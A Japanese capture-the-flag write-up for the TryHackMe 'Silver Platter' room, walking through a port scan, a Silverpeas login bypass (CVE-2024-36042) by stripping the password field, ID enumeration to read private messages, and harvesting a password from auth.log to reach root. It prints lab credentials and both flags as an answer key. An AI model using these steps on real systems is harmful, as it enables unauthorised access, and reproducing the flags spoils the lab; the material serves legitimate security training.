Writeup : TryHackMe - Silver Platter

# ルームについて
TryHackMe - Silver Platter:

https://tryhackme.com/r/room/silverplatter

`user`フラグと`root`フラグの入手が今回の目標。
パスワードは`rockyou.txt`に存在しないものを使用しているらしい。確かに攻撃には強化されていそうだが、今回も攻略していこう。

# 今回の環境
IPアドレスは以下の通り。
```
ターゲット: 10.10.61.192
ローカル(VPN): 10.9.1.210
```
ローカルの環境にはKali 2024.4を使用し、作業ディレクトリは`~/thm/Silver-Platter`とする。

# Recon(偵察)
ポートスキャンを実行する。
```
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
(中略)
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ cat nmap-1.txt                                   
# Nmap 7.95 scan initiated Sat Jan 18 20:08:28 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
Nmap scan report for 10.10.61.192
Host is up, received user-set (0.24s latency).
Scanned at 2025-01-18 20:08:28 JST for 97s
Not shown: 920 closed tcp ports (reset), 77 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
8080/tcp open  http-proxy syn-ack ttl 62
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=1/18%Time=678B8BB7%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r
SF:\nContent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\
SF:x2018\x20Jan\x202025\x2011:08:38\x20GMT\r\n\r\n<html><head><title>Error
SF:</title></head><body>404\x20-\x20Not\x20Found</body></html>")%r(HTTPOpt
SF:ions,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r\nCo
SF:ntent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\x201
SF:8\x20Jan\x202025\x2011:08:39\x20GMT\r\n\r\n<html><head><title>Error</ti
SF:tle></head><body>404\x20-\x20Not\x20Found</body></html>")%r(RTSPRequest
SF:,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\n\r\n")%r(FourOhFourRequest,C9,"HTTP/1\.1\x20404\x20
SF:Not\x20Found\r\nConnection:\x20close\r\nContent-Length:\x2074\r\nConten
SF:t-Type:\x20text/html\r\nDate:\x20Sat,\x2018\x20Jan\x202025\x2011:08:40\
SF:x20GMT\r\n\r\n<html><head><title>Error</title></head><body>404\x20-\x20
SF:Not\x20Found</body></html>")%r(Socks5,42,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Gener
SF:icLines,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\
SF:r\nConnection:\x20close\r\n\r\n")%r(Help,42,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie,42,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20
SF:close\r\n\r\n")%r(TLSSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,42
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(SMBProgNeg,42,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(LPDStr
SF:ing,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nC
SF:onnection:\x20close\r\n\r\n")%r(LDAPSearchReq,42,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 20:10:05 2025 -- 1 IP address (1 host up) scanned in 96.97 seconds
```
`8080`ポートだけバージョンが不明と出ているが、とにかく稼働状況を出すことができた。

| Port | Service | Version |
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|
|8080|http-proxy|?|

sshからパスワードクラックで出すことはタスクの説明欄を見る限り厳しそう。Webサーバーから偵察してみよう。
![web-home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/fafdee53-bc47-c502-6c57-a0d4bca7cdb7.png)
「HACK SMARTER SECURITY」という架空のセキュリティ企業のホームページだろうか。
少し探索していくと、`/#contact`にとある情報がある。
Silverpeasがインストールされていて、ユーザー名が`scr1ptkiddy`らしい。

https://www.silverpeas.org/installation/installationV6.html

ここを見ると、デフォルトのリンクが`:8080/silverpeas`だとわかるので、早速アクセスしてみる。
![web-silverpeas-login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/a4ca5709-bbb9-bb53-7d95-3b6ae17d58d9.png)
ログイン画面が表示された。今のところユーザー名しか持っていないうえ、パスワードも前述の通りクラックは厳しいため別の手法を探してみる。
![google-silverpeas-login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/9236ea5b-97ad-4fc6-8504-9d38c22c496f.png)
`silverpeas login`で探していると、ある脆弱性(CVE-2024-36042)が検索結果に出てきた。

https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d

どうやらログイン時のPOSTリクエストからパスワードフィールドを削除すると、管理者である`SilverAdmin`ユーザーにログインできるそうだ。
(google-silverpeas-access-exploit)
また、さらに探ってみると、こんな脆弱性も見つかった。

https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323

管理者権限を持っていれば、他のユーザー間で送信されるメッセージを全て読み取ることができるというものだ。

ログイン画面にあるコピーライトの西暦から、ターゲットで動いているのはV6.3だと推測できる。
これらの脆弱性はV6.3.1以下で実行できるため、有用である可能性が高い。早速やってみよう。

# GainAccess(侵入)
まずはCVE-2024-36042から。
Burp SuiteでSilverpeasのログイン画面を開き、`Login`欄を`scr1ptkiddy`に、`Password`欄を適当に(今回は`test`)入力して、**Burp Suiteに戻ってInterceptをオンにしておいてから**、ログインでPOSTリクエストを送信する。

```
POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.10.61.192:8080
Content-Length: 42
Cache-Control: max-age=0
Accept-Language: ja
Origin: http://10.10.61.192:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.61.192:8080/silverpeas/defaultLogin.jsp
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=FBxR7w1f2mUU3dzlkZx3jzI1a49JTVF2MsjD4ocD.ebabc79c6d2a
Connection: keep-alive

Login=scr1ptkiddy&Password=test&DomainId=0
```
リクエストはこのようになっているが、このうち最後の`Password=test`という部分を削除してInterceptをオフにすると、見事`SilverAdmin`にアクセスすることができた。
![web-silverpeas-silveradmin-main.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/c94555c1-1ab9-2164-675b-e1e86586c9f3.png)
しかしこれで終わりではない。もう一つの脆弱性も使っていこう。

次もBurp Suiteを活用していく。`:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1`にアクセスし、そのときのGETリクエストをIntruderに送る。
`GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1 HTTP/1.1`の`ID=1`の`1`の部分にペイロードを設定し、`Payloads`の設定を以下のように変更する。

| 項目 |変更後|
|:-:|:-:|
|Payload type|Numbers|
|From|1|
|To|10 (任意だが今回は少なめに設定)|

そうしたら、Start attackで開始。
レスポンスをRenderで順に確認していく。

すると、`ID=6`でとあるメッセージが見つかった。
![burp-id-6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/858d2b9e-fd70-730c-fda4-1d6e5d1a8983.png)
```
Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.

Username: tim

Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
```
ついにSSHのユーザー名とパスワードが入手できた。早速ログインしていく。

ターミナルに戻って、SSH接続する。
```
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ ssh tim@10.10.61.192       
The authenticity of host '10.10.61.192 (10.10.61.192)' can't be established.
ED25519 key fingerprint is SHA256:WFcHcO+oxUb2E/NaonaHAgqSK3bp9FP8hsg5z2pkhuE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.61.192' (ED25519) to the list of known hosts.
tim@10.10.61.192's password: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)
(中略)
tim@silver-platter:~$
```

`tim`としてログインできた。このまま`user`フラグがないか探してみると、最初のディレクトリに`user.txt`というフラグファイルが存在し、フラグを入手することができた。
```
tim@silver-platter:~$ ls
user.txt
tim@silver-platter:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}
```

# PrivEsc(権限昇格)
最後に、権限昇格して`root`フラグを入手する。

`tim`についてと他のユーザーを調べてみよう。
```
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
tim@silver-platter:~$ sudo -l
[sudo] password for tim: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Sorry, user tim may not run sudo on silver-platter.
tim@silver-platter:~$ ls -l /home
total 8
dr-xr-xr-x 2 root  root  4096 Dec 13  2023 tim
drwxr-x--- 5 tyler tyler 4096 Dec 13  2023 tyler
```
どうやら`tim`は`adm`グループに所属し、sudoなどは何もできないらしい。また、他に`tyler`というユーザーが存在することもわかった。
`adm`グループに所属しているということは、`/var/log`ディレクトリにアクセスできる。つまり、SSHのlogを見てパスワードを盗み出せるのだ。
```
tim@silver-platter:~$ cat /var/log/auth.log | grep "tyler"
tim@silver-platter:~$ cat /var/log/auth.log.1 | grep "tyler"
May  8 08:58:40 silver-platter sshd[1710]: Accepted password for tyler from 192.168.1.20 port 42258 ssh2
May  8 08:58:40 silver-platter sshd[1710]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 08:58:40 silver-platter systemd-logind[711]: New session 2 of user tyler.
May  8 08:58:40 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 08:58:44 silver-platter sudo:    tyler : TTY=pts/0 ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/su
May  8 08:58:44 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May  8 08:58:44 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
May  8 14:00:53 silver-platter sshd[1946]: Accepted password for tyler from 192.168.1.20 port 55742 ssh2
May  8 14:00:53 silver-platter sshd[1946]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 14:00:53 silver-platter systemd-logind[709]: New session 2 of user tyler.
May  8 14:00:53 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May  8 14:01:11 silver-platter sudo:    tyler : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/su
May  8 14:01:11 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May  8 14:01:11 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
tim@silver-platter:~$ cat /var/log/auth.log.2 | grep "tyler"
(中略)
Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
(略)
```
`tyler`のパスワードが`_Zd_zx7N823/`だということがわかった。早速アカウントを切り替えていこう。
```
tim@silver-platter:~$ su tyler
Password: <tylerのパスワード(_Zd_zx7N823/)を入力>
tyler@silver-platter:/home/tim$
```

あとは設定の不備から`root`への手掛かりを探していく。
```
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL
```
どうやら`tyler`はsudoが全てにおいて使えるようだ。これなら簡単に`root`まで権限を上げることができる。
```
tyler@silver-platter:/home/tim$ sudo su -
root@silver-platter:~# id
uid=0(root) gid=0(root) groups=0(root)
```
はい、勝ちです。ここまでお疲れさまでした。
```
root@silver-platter:~# ls
root.txt  snap  start_docker_containers.sh
root@silver-platter:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}
```

# 解答
:::note
Q1. What is the user flag?
**A1. THM{c4ca4238a0b923820dcc509a6f75849b}**

Q2. What is the root flag?
**A2. THM{098f6bcd4621d373cade4e832627b4f6}**
:::